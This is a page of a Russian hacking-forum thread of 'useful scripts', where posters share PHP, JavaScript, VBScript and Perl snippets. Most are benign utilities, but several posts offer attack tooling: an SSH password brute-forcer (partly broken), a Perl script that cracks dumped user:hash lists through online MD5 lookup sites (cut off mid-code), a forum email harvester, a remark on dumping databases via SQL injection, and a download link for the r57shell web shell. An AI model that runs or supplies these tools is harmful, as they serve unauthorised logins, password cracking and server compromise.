PDA

Просмотр полной версии : Полезные скрипты


Страницы : 1 [2] 3 4 5

Dimi4
14.12.2007, 23:34
Валидность мыла. Простейшый способ

<form method=post>
<input size=60 type=text name=name value=<?= $_POST['name']; ?>>
<input type=submit value='Проверить'>
</form><br>
<?
$name=htmlspecialchars("$name");
// Обработчик HTML-формы
if(isset($_POST['name']))
{
if(preg_match("|^[0-9a-z_]+@[0-9a-z_^\.]+\.[a-z]{2,4}$|i", $_POST['name']))
{
echo "e-mail верен";
}
else
{
echo "e-mail не верен";
}
}
?>

валидность URL

<form method=post>
<input size=60 type=text name=name value=<?= $_POST['name']; ?>>
<input type=submit value='Проверить'>
</form><br>
<?php
// Обработчик HTML-формы
$name=htmlspecialchars("$name");
if(isset($_POST['name']))
{
$pattern = "#^(http://)?[-a-z0-9_\.]+([-a-z0-9_]+\.(html|php|pl|cgi))?([-a-z0-9_:@&\?=+\.!/~*'%$]+)?$#i";
if(preg_match($pattern, $_POST['name']))
{
echo "URL вверен";
}
else
{
echo "URL не вверен";
}
}
?>

Dimi4
14.12.2007, 23:48
Мигалка на клаве(Visual Basic Script)

set WshShell = WScript.CreateObject("WScript.Shell")
KL = true

do while KL
if WshShell.AppActivate("Блокнот") then
WriteWord()
KL = false
end if
WScript.Sleep 10
loop

function WriteWord()
WshShell.SendKeys "{CAPSLOCK}"
WshShell.SendKeys "{Scrolllock}"
WshShell.SendKeys "{CAPSLOCK}"
WshShell.SendKeys "{CAPSLOCK}"
WshShell.SendKeys "{Scrolllock}"
WshShell.SendKeys "{Scrolllock}"
WshShell.SendKeys "{Scrolllock}"
WshShell.SendKeys "{CAPSLOCK}"
WshShell.SendKeys "{Scrolllock}"
WshShell.SendKeys "{CAPSLOCK}"
WshShell.SendKeys "{CAPSLOCK}"
WshShell.SendKeys "{Scrolllock}"
WshShell.SendKeys "{Scrolllock}"
WshShell.SendKeys "{CAPSLOCK}"
WshShell.SendKeys "{Scrolllock}"
end function

httpstop
21.12.2007, 19:58
выложите скрипт юзербара плиз

HloR09
23.12.2007, 12:55
Пару дней назад по спутниковой рыбалке скачался архивчик со скриптами вот решил выложить т.к. времени нету их просмотреть

http://rapidshare.ru/513433

Может кто найдёт чё интересного.

-Hormold-
02.01.2008, 02:06
Простая граббилка текст с сайтов!
Может я её выкладывал уже...

<?
$f = file_get_contents('http://mail.ru/index.php');
preg_match_all( '/<b>(.*)<\/b>/iUs' , $f, $matches);
echo $matches[0][0];
?>

Выводит всё что между <b> и </b>

Piflit
02.01.2008, 02:17
Простая граббилка текст с сайтов!
Может я её выкладывал уже...

<?
$f = file_get_contents('http://mail.ru/index.php');
preg_match_all( '/<b>(.*)<\/b>/iUs' , $f, $matches);
echo $matches[0][0];
?>

Выводит всё что между <b> и </b>
1. зачем?
2. echo $matches[0][0]; выведет только первое значение $matches

-Hormold-
02.01.2008, 03:38
1. зачем?
Полезно при сливи базы через limit, например

.Slip
02.01.2008, 04:00
Полезно при сливи базы через limit, например
Через лимит? Т.е. этот код волшебный и где то там ещё и постфиксный инкремент с циклом?

vizard-06
03.01.2008, 11:05
таково по моему ещё не выкладывали, функция тупо выводит красивость номера %) xyz xy и т.д , мож кому пригодитя...


<?
function uin_beautiful($uin) {
if(is_numeric($uin)) {
$length=strlen($uin);
if($length>=5 && $length<=9) {
$buf=substr($uin,0,1);
for($i=1;$i<$length;$i++) {
$simvol=substr($uin,$i,1);
if(!preg_match("/$simvol/",$buf)) {
$buf.=$simvol;
}
}
$buf_length=strlen($buf);
switch($buf_length) {
case 1:
return 'x';
break;
case 2:
return 'xy';
break;
case 3:
return 'xyz';
break;
case 4:
return 'xyza';
break;
default:
return 'ХЗ';
break;
}
}
else return 'Неверная длинна uin-а';
}
else return 'Введите верный uin';
}
?>

Alekzzzander
03.01.2008, 16:39
а случайно http://www.insidepro.com/hashes.php?lang=rus такого скрипта ни у кого нету???

Mobile
03.01.2008, 16:46
поищи по форуму, кто то точно писал... ток непомню кто

-=lebed=-
05.01.2008, 20:09
Так как тему удалили, выложу сюда, чтоб вопросов таких больше не возникало:

<?
set_time_limit(0);
$limit=100; // предельное колличество файлов
for ($i = 1; $i <= $limit; $i++)
{
$fp = fopen ("$i.txt", "w");
fclose($fp);
}
?>

GrAmOzEkA
13.01.2008, 21:44
Ёжик бегающий на сайте :D :D

index.html

<script language="JavaScript1.2" src=ezjik.js></script>
<script language="JavaScript1.2">

if (flag) {
content = '';
createLayer('cnt', 0, 0, true, content);
var num = 10;
var flakes = new Array(num);
for (var i = 0; i < num; i++) {
flakes[i] = new Flake('flake' + i);
content = '<img src="egw' + i + '.gif" alt="А_ёжик_то_бежит_' + i + '" border=0 width=15 height=21></a>';
createLayer(flakes[i].name, 0, 0, false, content);
}
startFlakes();
}
</script>

ezjik.js

var bV=parseInt(navigator.appVersion);
var ns=(document.layers) ? 1 : 0;
var ie=((document.getElementById) && (bV >= 4)) ? 1 : 0;
var ff = ((navigator.appName == "Netscape") && (bV >= 5)) ? 1 : 0;
var flag = (ns || ie) ? 1 : 0;
var timerID;
var timerIDl;
var timerIDr;
var kurs = -0.5;
var nomer = 0;
var lasta = 8;
var egx = 0;
var egy = 0;
var egvx = 4;
var egvy = 2;
var tut = 200;

var vmin = 1;
var vmax = 10;
var vr = 5;


function createLayer(name, left, top, visible, content) {
var layer;
if (ns) {
document.writeln('<layer name="' + name + '" left=' + left + ' top=' + top + ' width=120 height=84 visibility=' + (visible ? '"show"' : '"hide"') + '>');
document.writeln(content);
document.writeln('</layer>');
layer = getLayer(name);
layer.width = 120;
layer.height = 84;
}
if (ie) {
document.writeln('<div id="' + name + '" style="position:absolute; left:' + left + 'px; top:' + top + 'px; width:120px; height:84px; visibility:' + (visible ? 'visible;' : 'hidden;') + '">');
document.writeln(content);
document.writeln('</div>');
}
}

function Flake(chipname) { this.name = chipname; }

function startFlakes() {
if (!flag) { return; }
var i;
getWindowSize();
egx = pageW * Math.random() + pageX;
egy = pageH * Math.random() + pageY;
for (i = 0; i < flakes.length; i++) {
moveLayer(flakes[i].name, egx, egy);
hideLayer(flakes[i].name);
}
buzz();
}

function moveLayer(name, x, y) {
var layer = getLayer(name);
if (ns) { layer.moveTo(x, y); }
if (ie) { layer.left = x; layer.top = y; }
}

function showLayer(name) {
var layer = getLayer(name);
if (ns) { layer.visibility = "show"; }
if (ie) { layer.visibility = "visible"; }
}

function hideLayer(name) {
var layer = getLayer(name);
if (ns) { layer.visibility = "hide"; }
if (ie) { layer.visibility = "hidden"; }
}


function getLayer(name) {
if (ns) {
return(document.layers[name]);
} else if (ie) {
layer = eval('document.getElementById("' + name + '").style');
return(layer);
} else {
return(null);
}
}

function getWindowSize() {
if(ns || ff) {
pageX=window.pageXOffset;
pageW=window.innerWidth - 20 - 120;
pageY=window.pageYOffset;
pageH=window.innerHeight - 8 - 84;
if (ff) pageH -= 4;
} else {
pageX=document.body.scrollLeft;
pageW=document.body.offsetWidth - 20 - 120;
pageY=document.body.scrollTop;
pageH=document.body.offsetHeight - 8 - 84;
} }


function buzz() {

hideLayer(flakes[ lasta ].name);
getWindowSize();
egx += egvx*kurs*6;
egy += egvy*2;
if(egy >= pageY + pageH) { egvy *= -1; egy = pageY + pageH; }
if(egy <= pageY) { egvy = egvy *= -1; egy = pageY; }
if (egx < pageX) { egx = pageX; }
if (egx > pageX + pageW) { egx = pageX + pageW; }

egvx += vr * (Math.random()-0.5);
if(egvx > vmax) { egvx = vmax*2 - egvx; }
if(egvx < vmin) { egvx = vmin*2 - egvx; }
egvy += (Math.random()-0.5);
if((egvy > (vmax/2))||(egvy < (-vmax)/2)) { egvy = 0; }

if ( (Math.random() > 0.96) || (egx <= pageX) || (egx >= pageX + pageW) )
{
showLayer(flakes[ lasta ].name);
kurs *= -1;
timerID = setTimeout("buzz()", tut*2);

if (kurs < 0)
{
buzr();
timerIDr = setTimeout("buzl()", tut);
}
else
{
buzl();
timerIDr = setTimeout("buzr()", tut);
}
}

else

{
nomer = nomer + 2;
if ( nomer >= 8 ) { nomer = nomer - 8; }
lasta = nomer + 0.5 + kurs;
moveLayer(flakes[ lasta ].name, egx, egy);
showLayer(flakes[ lasta ].name);
timerID = setTimeout("buzz()", tut);
}
}


function buzl() {
hideLayer(flakes[ lasta ].name);
lasta = 8;
moveLayer(flakes[ lasta ].name, egx, egy);
showLayer(flakes[ lasta ].name);
}

function buzr() {
hideLayer(flakes[ lasta ].name);
lasta = 9;
moveLayer(flakes[ lasta ].name, egx, egy);
showLayer(flakes[ lasta ].name);
}

Картинки с ёжиком http://slil.ru/25352370

Ali_MiX
13.01.2008, 22:08
Дата + время)

<SCRIPT type="text/javascript">
var months=new Array(13);
months[1]="января";
months[2]="февраля";
months[3]="марта";
months[4]="апреля";
months[5]="мая";
months[6]="июня";
months[7]="июля";
months[8]="августа";
months[9]="сентября";
months[10]="октября";
months[11]="*ноября";
months[12]="декабря";
var time=new Date();
var lmonth=months[time.getMonth() + 1];
var date=time.getDate();
var year=time.getYear();
var hours=time.getHours();
var minutes=time.getMinutes();
if (eval(hours) <10) {hours="0"+hours}
if (eval(minutes) < 10) {minutes="0"+minutes}
if (year < 2000)
year = year + 1900;
document.write("Сейчас: " + date + " ");
document.write(lmonth + " " + year + ", " + hours + ":" + minutes + " ");
</SCRIPT>

Корвин
14.01.2008, 18:56
Нужно поверх картинки поместить URL сайта
тут есть пример http://www.codenet.ru/webmast/php/Image-Resize-GD/ - но текст нельзя каким-то образом позиционировать на картинке

Pashkela
15.01.2008, 01:26
В общем не помню, кому именно спасибо за идею (не смог найти), но используя скелет кода, написал прогу для парсинга e-mail с форумов (не судит строго, первый опыт на php, но работает, как не странно), итак:

Forum e-mail parser - e-mail парсер с форумов. Принцип работы - парсит всё мыло с любого вида форумов, но при условии, что вам известны стартовая страница интересующей темы форума и конечная страница интересующей темы форума и динамически изменяющейся величиной в ссылке является ПОСЛЕДНИЙ символ. Пример: http://www.бла-бла-бла.ru/viewtopic.php?t=5821, где 5821 - номер интересующей вас страницы.
В комплекте идут 5 файлов:
1. fmailparser1.0.exe - сама программа
2. url.txt - сюда забиваете url интересующго форума без номера страницы, если посмотреть выше, то:
http://www.бла-бла-бла.ru/viewtopic.php?t=
3. pages_start.txt - сюда забиваете номер страницы, с которой хотите начать сканирование на e-mail. В данном случае -
5821
4. pages_end.txt - сюда забиваете номер последней страницы для сканирования. Например:
5822
5. ReadmeFIRST.txt - этот файл
Просто создайте отдельную директорию, распакуйте туда все 5 файлов, сделайте необходимые настройки и запустите fmailparser1.0.exe и все найденные e-mail будут сохранены в файл emails.txt ( 0,5 мГб )

Еще раз прошу прощения за то, что не смог вспомнить автора идеи, но риспект огроменный.

В архиве лежит пример с реальными параметрами. Просто запустите fmailparser1.0.exe и поймете суть проги.

Скачать здесь: http://pashkela.narod.ru/progi/fmailparser1.0.rar

Корвин
15.01.2008, 17:55
для случаев когда есть грязный код, который в ручную неудобно чистить, написал скрипт(он еще много для чего пригодица)

$dirty = '</td>
</tr>
</table>
<table>
<tr>
<td class="content">код который нужен</td>
</tr>
</table>';
$n = strpos($dirty,'<table'); //считаем кол-во символов от начала кода до нужного нам места
$clear = substr($dirty, $n);//берем код начиная с символа $n до конца
$clear // - готово
у меня был массив набитый такими таблицами с херней в коде,этим скриптом очистил

heks
15.01.2008, 21:58
незнаю точно выкладывали ли тут бруте shh если нет то вот он



#!/usr/bin/perl
#c0dex by m0x.lk || ~censored~ Team ||
system ("clear");
system ("cls");
system ("color 02");
print "\n\n";
print "\t\t\tc0dex by m0x.lk\n\n";
print "\tm0x.lk || ~censored~ Team";
print "\t\t BruteSSH by m0x.lk\n";
sleep 1;

use strict();
use Net::SSH;

$host=$ARGV[0];
$user=$ARGV[1];
$passdict=$ARGV[2] || die "\n[+]Perl Usage: BruteSSH.pl host user dict\n";
print "\n\n";
$i = 1;
open (D,"<$passdict") or die "Diccionario no encontrado\n";
while(<D>)
{
$try = $_;
chomp $try;

$t = my $ssh = Net::SSH::Perl->new($host,debug=>1,use_pty=>1);
$ssh->login($user, $try);
print "\n";
print "[+] Obteniendo Pass";
print "\n";
print $i++ . ": Fallo - $try\n";

print "'$try - $i intentos";
last;
$t->close;
}
close(IN);

Корвин
16.01.2008, 22:41
функция меняет кусок кода или текста, выделенный вами, на то что хотите:
функция:

<?
function replacer($a, $start, $end, $replacement)
{
if (is_array ($a))
{
for ($i=0; $i<count($a); $i++)
{
$result[] = preg_replace('!'.$start.'(.*?)'.$end.'!si', $replacement, $a[$i]);
}
}
else
{
$result = preg_replace('!'.$start.'(.*?)'.$end.'!si', $replacement, $a);
}
return $result;
}
?>


использование:

<?
$a = 'привет, меня зовут Корвин'; //текст или массив в котором нужно произвести замену, если массив то без ' '
$start = 'меня'; //начало заменяемого, это может быть символ или слово, оно тоже будет заменено
$end = 'зовут'; //конец заменяемого
$replacement = 'йа'; //то, на что меняем, если на пустоту, то ставим ' '

$str = replacer($a, $start, $end, $replacement); // готово, измененный текст помещен в $str
echo $str;
//print_r ($str); //если массив
?>

если пригодица,подкиньте репы=)

D0S
17.01.2008, 13:50
Мой первый сексуальный опыт с пхп. :D
Граббер радиостанций с shoutcast.org
<table cellpadding="0" cellspacing="0" style="border:1px solid #000000">
<tr>
<th>
<?
if (!$addr){
$EXTERNALPAGE = importPage("http://www.shoutcast.com/directory/index.phtml?startat=0&numresult=30&s=gabber");
}
else {
$EXTERNALPAGE = importPage($addr);
}
function importPage( $addr ) {

$pattern1 = '|(http://)([^/]*)/{0,1}(.*)|';
$base = "";
if (preg_match($pattern1, $addr, $list)) {
$server = "http://".$list[2];
$fullpath = $list[3];
$pattern11 = '|(.*)/([^/]*)$|';

if ( preg_match($pattern11, $fullpath, $list) ) {
$path = $list[1];
$fname = $list[2];
} else {
$path = "";
$fname = $fullpath;
}
if ($path) $path = "/".$path;
$base = $server.$path;
}

$arr = @file($addr);
if ( !$arr ) return "Page not found!";
$str = join( "", $arr );

$pattern2 = '|<table border="0" cellpadding="0" cellspacing="0" align="center">(.*)<td nowrap align="center" width="10">|sei';
if (preg_match($pattern2, $str, $list)) $str = $list[1];

$pattern3 =
'/(<img\s.*?src\s*=\s*("{0,1}))([^">]*)(\2[^>]*>)/sei';

$str = preg_replace($pattern3,
"stripslashes((strpos('\\3','ttp:')<=0) ".
"?((strspn('\\3','/')<=0)".
"?'\\1$base/\\3\\4'".
":'\\1$server\\3\\4' )".
":'\\0')",
$str);

$pattern4 =
'/(<a\s.*?href\s*=\s*("{0,1}))([^">]*)(\2[^>]*>)/sei';
$str = preg_replace($pattern4,
"stripslashes((strpos('\\3','ttp:')<=0)&&".
"(strpos('\\3','ailto:')<=0) &&".
"(Ord('\\3')!=Ord('#')) ".
"?((strspn('\\3','/')<=0)".
"?'\\1$base/\\3\\4'".
":'\\1$server\\3\\4' )".
":'\\0')",
$str);

$str= str_replace('<a href="http://www.shoutcast.com/directory/index.phtml?orderby=title&s=drum&numresult=30 "id="dirlinks">Description</a>', 'Description', $str);
$str= str_replace('<a href="http://www.shoutcast.com/directory/index.phtml?orderby=listeners&s=drum&numresult=30 "id="dirlinks">Listeners/Max</a>', 'Listeners / Max', $str);
$str= str_replace('<a href="http://www.shoutcast.com/directory/index.phtml?orderby=bitrate&s=drum&numresult=30 "id="dirlinks">Bitrate</a>', 'Bitrate', $str);
$str= str_replace('<a href="http://www.shoutcast.com/directory/index.phtml?orderby=content&s=drum&numresult=30 "id="dirlinks">Type</a>', 'Type', $str);

return $str;
}

?>

<?= $EXTERNALPAGE?>
</th>
</tr>
</table>

ЗЫ. Щас я видоуроки с евгением поповым досмотрю еще че нить придумаю... :D

alexman90
21.01.2008, 09:13
Прошу выложить у кого есть работоспособный прокси чекер... а то я сегодня ночью пролистал ВСЮ тему, скачал 5 прокси чекеров на пхп, но как начал проверять....не пашут... вот гляньте http://fata1team.onep.ru/proxy-chekers/proxy_cheker.php - это первый. а вот этот вообще оказался только прокси листом... где прокси давно дохлые... http://fata1team.onep.ru/proxy-chekers/proxy-cheker1.php. и ещё... http://fata1team.onep.ru/proxy-chekers/proxy-cheker2.php - в этот я впихнул в файл proxy.txt список рабочих проксей...но ни чё не выдаёт... и пробовал пихать в файл proxyes.txt... тоже безрезультатно=(( может в бесплатных хостингах проблема? хотя на онеп.ру есть даже сокеты... зы ещё тестил на джино-нет.ру и на freehostia.com... объясните пожалуйста в чём тут дело...

.:EnoT:.
21.01.2008, 09:33
Вот 100% рабочий:
<?php

// Ensure that the timeouts from fsockopen don't get reported as errors (possible, depends on the php server config)
error_reporting(0);
// Limit the amount of proxies that can be tested at any one time
$maximum_proxies_to_test = 50;
// Enter a password (if required) to protect the page
$password = '';

// Actual proxyjudge part of the page
function return_env_variables()
{
echo '<pre>'."\n";
foreach ($_SERVER as $header => $value )
{
if ((strpos($header , 'REMOTE')!== false || strpos($header , 'HTTP')!== false || strpos($header , 'REQUEST')!== false) && ( strpos($header , 'HTTP_HOST') !== 0))
{
echo $header.' = '.$value."\n";
}
}
echo '</pre>';
}

// Function to go away and get the page (calls through the proxy back to itself)
function get_judge_page($proxy)
{
// Depending on the server environment, this timeout setting may not be available.
$timeout = 15;
$proxy_cont = '';
list($proxy_host, $proxy_port) = explode(":", $proxy);
$proxy_fp = fsockopen($proxy_host, $proxy_port, $errornumber, $errorstring, $timeout);
if ($proxy_fp)
{
stream_set_timeout($proxy_fp, $timeout);
fputs($proxy_fp, "GET " . $_SERVER['SCRIPT_NAME'] . "?test HTTP/1.0\r\nHost: " . $_SERVER['SERVER_NAME'] . "\r\n\r\n");
while(!feof($proxy_fp))
{
$proxy_cont .= fread($proxy_fp,4096);
}
fclose($proxy_fp);
$proxy_cont = substr($proxy_cont, strpos($proxy_cont,"\r\n\r\n")+4);
}
return $proxy_cont;
}

// Check for the control string to see if it's a valid fetch of the judge
function check_valid_judge_response($page)
{
if(strlen($page) < 5)
return false;
return strpos($page, 'REMOTE_ADDR') !== false;
}

// Check for the IP addresses
function check_anonymity($page)
{
if(strpos($page, $_SERVER['LOCAL_ADDR']) !== false)
return false;
return true;
}

// Takes and tests a proxy
// 0 - Bad proxy
// 1 - Good (non anon) proxy
// 2 - Good (anonymous) proxy
function test_proxy($proxy)
{
$page = get_judge_page($proxy);
if(!check_valid_judge_response($page))
return 0;
if(!check_anonymity($page))
return 1;
return 2;
}

////////// Main Page ////////////

// If this is a judge request, just return the environmental variables
if(getenv('QUERY_STRING') == "test")
{
return_env_variables();
}
// Else check whether we have been passed a list of proxies to test or not
// Should really use $_POST but it's been left as $HTTP_POST_VARS for older versions of php (3.x)
elseif( (isset($HTTP_POST_VARS['action']) && $HTTP_POST_VARS['action'] === 'fred') &&
(isset($HTTP_POST_VARS['proxies']) && $HTTP_POST_VARS['proxies'] != '') &&
( (strlen($password) == 0) || (isset($HTTP_POST_VARS['password']) && $HTTP_POST_VARS['password'] === $password) ))
{
$proxies = explode("\n", str_replace("\r", "", $HTTP_POST_VARS['proxies']), $maximum_proxies_to_test + 1);

// Set the overall time limit for the page execution to 10 mins
set_time_limit(600);

// Set up some arrays to hold the results
$anon_proxies = array();
$nonanon_proxies = array();
$bad_proxies = array();

// Loop through and test the proxies
for($thisproxy = 0; $thisproxy < ($maximum_proxies_to_test > count($proxies) ? count($proxies) : $maximum_proxies_to_test); $thisproxy += 1)
{
$draculalol = htmlspecialchars($proxies[$thisproxy]);
echo '' . $draculalol . '';
flush();
switch(test_proxy($proxies[$thisproxy]))
{
case 2:
echo ' - <font color="green">Анонимная</font><br>' . "\n";
$anon_proxies[count($anon_proxies)] = $proxies[$thisproxy];
break;
case 1:
echo ' - <font color="yellow">Не анонимная</font><br>' . "\n";
$nonanon_proxies[count($nonanon_proxies)] = $proxies[$thisproxy];
break;
case 0:
echo ' - <font color="red">Не рабочая</font><br>' . "\n";
$bad_proxies[count($bad_proxies)] = $proxies[$thisproxy];
break;
}
}

echo '<pre>';
echo '<br><b><font color="green" size="2">Анонимные прокси:</font></b>' . "\n";
for($thisproxy = 0; $thisproxy < count($anon_proxies); $thisproxy += 1)
echo $anon_proxies[$thisproxy] . "\n";
echo '<br><b><font color="yellow" size="2">Не анонимные прокси:</font></b>' . "\n";
for($thisproxy = 0; $thisproxy < count($nonanon_proxies); $thisproxy += 1)
echo $nonanon_proxies[$thisproxy] . "\n";
echo '<br><b><font color="red" size="2">Не рабочие прокси:</font></b>' . "\n";
for($thisproxy = 0; $thisproxy < count($bad_proxies); $thisproxy += 1)
$xek = htmlspecialchars($bad_proxies[$thisproxy]);
echo $xek . "\n";
echo '</pre>';
}
// Just a blank call of the page - show the form for the user to fill in
else
{

echo '<form method="POST" action="' . $_SERVER['SCRIPT_NAME'] . '">' . "\n";
echo '<input type="hidden" name="action" value="fred">' . "\n";
echo '<textarea name="proxies" cols=50 rows=10></textarea><br>' . "\n";
if(strlen($password) > 0)
echo 'Password: <input type="password" name="password" size="15"><br>' . "\n";
echo '<input type="submit" value="Старт">' . "\n";
echo '</form>' . "\n";
}
?>

alexman90
21.01.2008, 10:17
.:EnoT:. Пасиб... видно с хостингами на которых у меня акки что-то не то...

Scipio
21.01.2008, 12:59
Небольшой (и не знаю насколько полезный) скриптег, для вычисления hash_del_key переменных для php4 и php5, описанных в статье Евгения Минаева "Роковые ошибки Php" (http://forum.antichat.ru/thread54355.html), в треде кто-то спрашивал как их вычислять, вот скрипт:
<?php
//вычисление hash_del_key для переменных php4 и php5
$h = 5381;
$st='s';//здесь имя переменной для которой считать хеш
for ($i=0;$i<strlen($st)+1;$i++)
{
$h += ($h << 5);
$h ^= ord($st[$i]);
}
echo "hash_del_key_php4: $h<br>";//вывод хеша php4
$h = 5381;
for ($i=0;$i<strlen($st)+1;$i++)
{
$h += ($h << 5);
$h += ord($st[$i]);
}
echo "hash_del_key_php5: $h";//вывод хеша
?>

GrAmOzEkA
25.01.2008, 00:09
Создание скриншота сайта
Работает под виндой на PHP 5 >= 5.2.2

<?php
$browser = new COM("InternetExplorer.Application");
$handle = $browser->HWND;
$browser->Visible = true;
$browser->Navigate("http://ya.ru");
while ($browser->Busy) {
com_message_pump(4000);
}
$im = imagegrabwindow($handle, 0);
$browser->Quit();
imagepng($im, "iesnap.png");
?>

lexa
25.01.2008, 11:36
переводит текст в картинку..

<?
$text = "rufiles.ru";
$pic=ImageCreate(130,30); //(breite, hцhe)
$col1=ImageColorAllocate($pic,0,0,0);
$col2=ImageColorAllocate($pic,255,255,255);
ImageFilledRectangle($pic, 0, 0, 500, 30, $col2);
ImageString($pic, 3, 5, 8, $text, $col1);
Header("Content-type: image/jpeg");
ImageJPEG($pic);
ImageDestroy($pic);
?>

bober189
26.01.2008, 00:05
народ помогите нарыть скриптец...чтобы можно было инфу о клиенте подробную как в античате ( http://old.antichat.ru/util/whois/ ) так чтобы текстом на почту приходило в случае если я размещу его не на своем сайте.Помогите оч надо...

Dimi4
26.01.2008, 23:01
Action Script: Имитирует падающие шарики

function fall( ) {
// Add acceleration due to gravity
this.speedY += GRAVITY;
// Reduce the speed due to friction
this.speedY *= FRICTION;
// Assume both forces work exclusively in the Y direction
this._y += this.speedY;
// Make the clip bounce up when it hits the "floor" (a line)
if (this._y > 400) {
this._y = 400;
this.speedY = -this.speedY * ELASTICITY;
}
}
function drag( ) {
// When the user clicks on a clip, make it draggable
// and stop animating it via onEnterFrame.
this.startDrag( );
delete this.onEnterFrame;
// We could save a function call by using the following:
// this.onMouseMove = updateAfterEvent;
// because the onMouseMove( ) handler calls only one function.
// However, we use the following function definition in case
// you want to add extra features, such as range checking
// to prevent clips from being dragged off stage.
this.onMouseMove = function( ) {
updateAfterEvent( );
};
}
function drop( ) {
// Initialize the drop animation and
// stop the clip being draggable.
// The initial y velocity is zero.
this.speed.y = 0;
this.stopDrag( );
this.onEnterFrame = fall;
}
// MAIN CODE
// Create 20 ball clips
for (var i = 0; i < 20; i++) {
var ball:MovieClip = this.createEmptyMovieClip("ball" + i, i);
ball.lineStyle(6, 0x0, 100);
ball.moveTo(0, -3);
ball.lineTo(1, -3);
ball._x = Math.random( ) * 550;
ball._y = Math.random( ) * 200;
ball.speedY = 0;
ball.onEnterFrame = fall;
ball.onPress = drag;
ball.onRelease = ball.onReleaseOutside = drop;
}
//Initialize physical constants
var GRAVITY:Number = 0.5;
var FRICTION:Number = 0.995;
var ELASTICITY:Number = 0.85;
// Draw the ground line
this.lineStyle(0, 0xDDDDDD, 100);
this.moveTo(0, 400);
this.lineTo(550, 400);

Dimi4
28.01.2008, 00:16
Извиняюсь за вопросы в теме где нужно ложить нужные скрипты... в болталке написал, но нет ответа... это 100% нужный скрипт (шел), по-этому я его ищю... r57shell 1.4 , куда не захожу его скачать обсалютно везде ссылки битые... Я уверен на 100 % что почти у каждого кто ложит в этой теме скрипты есть этот шел...прошу Вас поделиться)
на те
_http://www.personalica.com/images/picDrWe3d

Isis
29.01.2008, 18:54
[perl] Md5 hash site cracker

#!/usr/bin/perl
use Digest::MD5 qw(md5_hex);
use LWP::Simple qw($ua get);
$ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.4');
use strict;

sub trim($){
my $string = shift;
my $string =~ s/^\s+//;
my $string =~ s/\s+$//;
return $string;
}
my $proxy = "";



sub getcracked($){
my $hash = $_[0];
my $cracked;
my %h_sites;
my %h_regexes;
$h_sites{"md5-db.com"} = "search.php?hash=$hash";
$h_sites{"alimamed.pp.ru"} = "md5/?md5e=&md5d=$hash";
$h_sites{"md5.rednoize.com"} = "?p&s=md5&q=$hash";
$h_sites{"gdataonline.com"} = "qkhash.php?mode=txt&hash=$hash";
$h_sites{"ice.breaker.free.fr"} = "md5.php?hash=$hash";
$h_sites{"md5.xpzone.de"} = "?string=$hash&mode=decrypt";
$h_regexes{"md5-db.com"} = "<ul><li>\"(.*?)\"<\/li><\/ul> <\/span>";
$h_regexes{"alimamed.pp.ru"} = "<b>(.*?)<\/b><br>";
$h_regexes{"md5.rednoize.com"} = "(.+)";
$h_regexes{"gdataonline.com"} = "<b>(.*?)<\/b><\/td><\/tr>";
$h_regexes{"ice.breaker.free.fr"} = "<b><br><br> - (.*?)<br><br><br>";
$h_regexes{"md5.xpzone.de"} = "Code: <b>(.*?)<\/b><br>";
foreach my $key(keys %h_sites){
#print "[+] CHECKING\tSITE: $key \n\t\tSCRIPT: $h_sites{$key}\n\t\tREGEX: $h_regexes{$key}\n";
print "[+] CHECKING\tSITE: $key\n";
if($cracked==1){
last;
}
else{
my $con = HTTP::Request->new(GET => $proxy . "http://$key/$h_sites{$key}");
$con->header(Accept => 'text/xml,application/xml,application/xhtml+xml,text/html');
my $content = $ua->request($con);
if ($content->is_success) {
if($content->content =~ m/$h_regexes{$key}/i){
if(md5_hex($1) eq $hash){
print "[+] Found match $hash - $1\n\n";
return $1;
$cracked=1;
}
else{
return 0;
}
}
}
else {
print $content->status_line . "\n";
}
}
}
if($cracked==0){#No GET sites cracked our hash, move onto POST
return &postcracked($hash);
}
}

sub postcracked{
my $hash = $_[0];
my $cracked;
my %h_sites;
my %h_regexes;
my %h_posts;

$h_sites{"md5decrypter.com/"} = "hash=$hash&submit=Decrypt%21";
$h_sites{"md5encryption.com/?mod=decrypt"} = "hash2word=$hash";
$h_sites{"hashreverse.com/index.php?action=view"} = "hash=$hash&Submit2=Search+for+a+SHA1+or+MD5+hash";
$h_sites{"securitystats.com/tools/hashcrack.php"} = "inputhash=$hash&type=MD5&Submit=Submit";
$h_sites{"hashchecker.com/index.php"} = "search_field=$hash&Submit=search";
$h_sites{"md5crack.it-helpnet.de/index.php?op=search"} = "md5=$hash";
$h_sites{"mmkey.com/md5/home.asp?action=look"} = "md5text=$hash&look=+FIND+"; #Slow

$h_regexes{"md5decrypter.com/"} = "<b class='red'>Normal Text: <\/b>(.*?)\n<br\/><br\/>";
$h_regexes{"md5encryption.com/?mod=decrypt"} = "<b>Decrypted Word:<\/b> (.*?)<br \/>";
$h_regexes{"hashreverse.com/index.php?action=view"} = "Following results were found:<br><ul><li>(.*?)<\/li><\/ul>";
$h_regexes{"securitystats.com/tools/hashcrack.php"} = "<BR>$hash = (.*?)<\/td>";
$h_regexes{"hashchecker.com/index.php"} = "<li>$hash is <b>(.*?)<\/b>";
$h_regexes{"md5crack.it-helpnet.de/index.php?op=search"} = "<td>$hash<\/td><td>(.*?)<\/td><\/tr><\/table>";
$h_regexes{"mmkey.com/md5/home.asp?action=look"} = "<input size=\"40\" name=\"rs2\" value=\"(.*?) #Slow \" color=\"red\">";


foreach my $key(keys %h_sites){
if($cracked==1){
last;
}
else{
#print "[+] CHECKING\tSITE: $key \n\t\tPOST: $h_sites{$key}\n\t\tREGEX: $h_regexes{$key}\n";
print "[+] CHECKING\tSITE: $key\n";
my $con = HTTP::Request->new(POST => $proxy . "http://" . $key);
$con->content_type('application/x-www-form-urlencoded');
$con->content($h_sites{$key});
my $content = $ua->request($con);
if ($content->is_success) {
if($content->content =~ m/$h_regexes{$key}/i){
my $fhash = $1;
if(md5_hex($fhash) eq $hash){
print "[+] Found match $hash - $fhash\n\n";
return $fhash;
$cracked=1;
}
else{
print "\n$fhash\n\n";
}
}
}
else{
print "[-] Error: " . $content->status_line . "\n";
}
}
}
if($cracked==0){
return 0;
}
}

sub usage{
print "USAGE: <user:hash list> <result list>\n";
print "EX: dump.txt finish.txt\n";
exit;
}


&usage unless @ARGV==2;
my $hashlist = $ARGV[0];
my $resultlist = $ARGV[1];
open("zile", $hashlist) || die "Couldn't open file\n";
my @lines=<zile>;
close("zile");
chomp(@lines);

foreach my $line(@lines){
if($line =~ m/^(.*?):([a-f0-9]{32})$/i){
print "[+] Cracking $1 with $2\n";
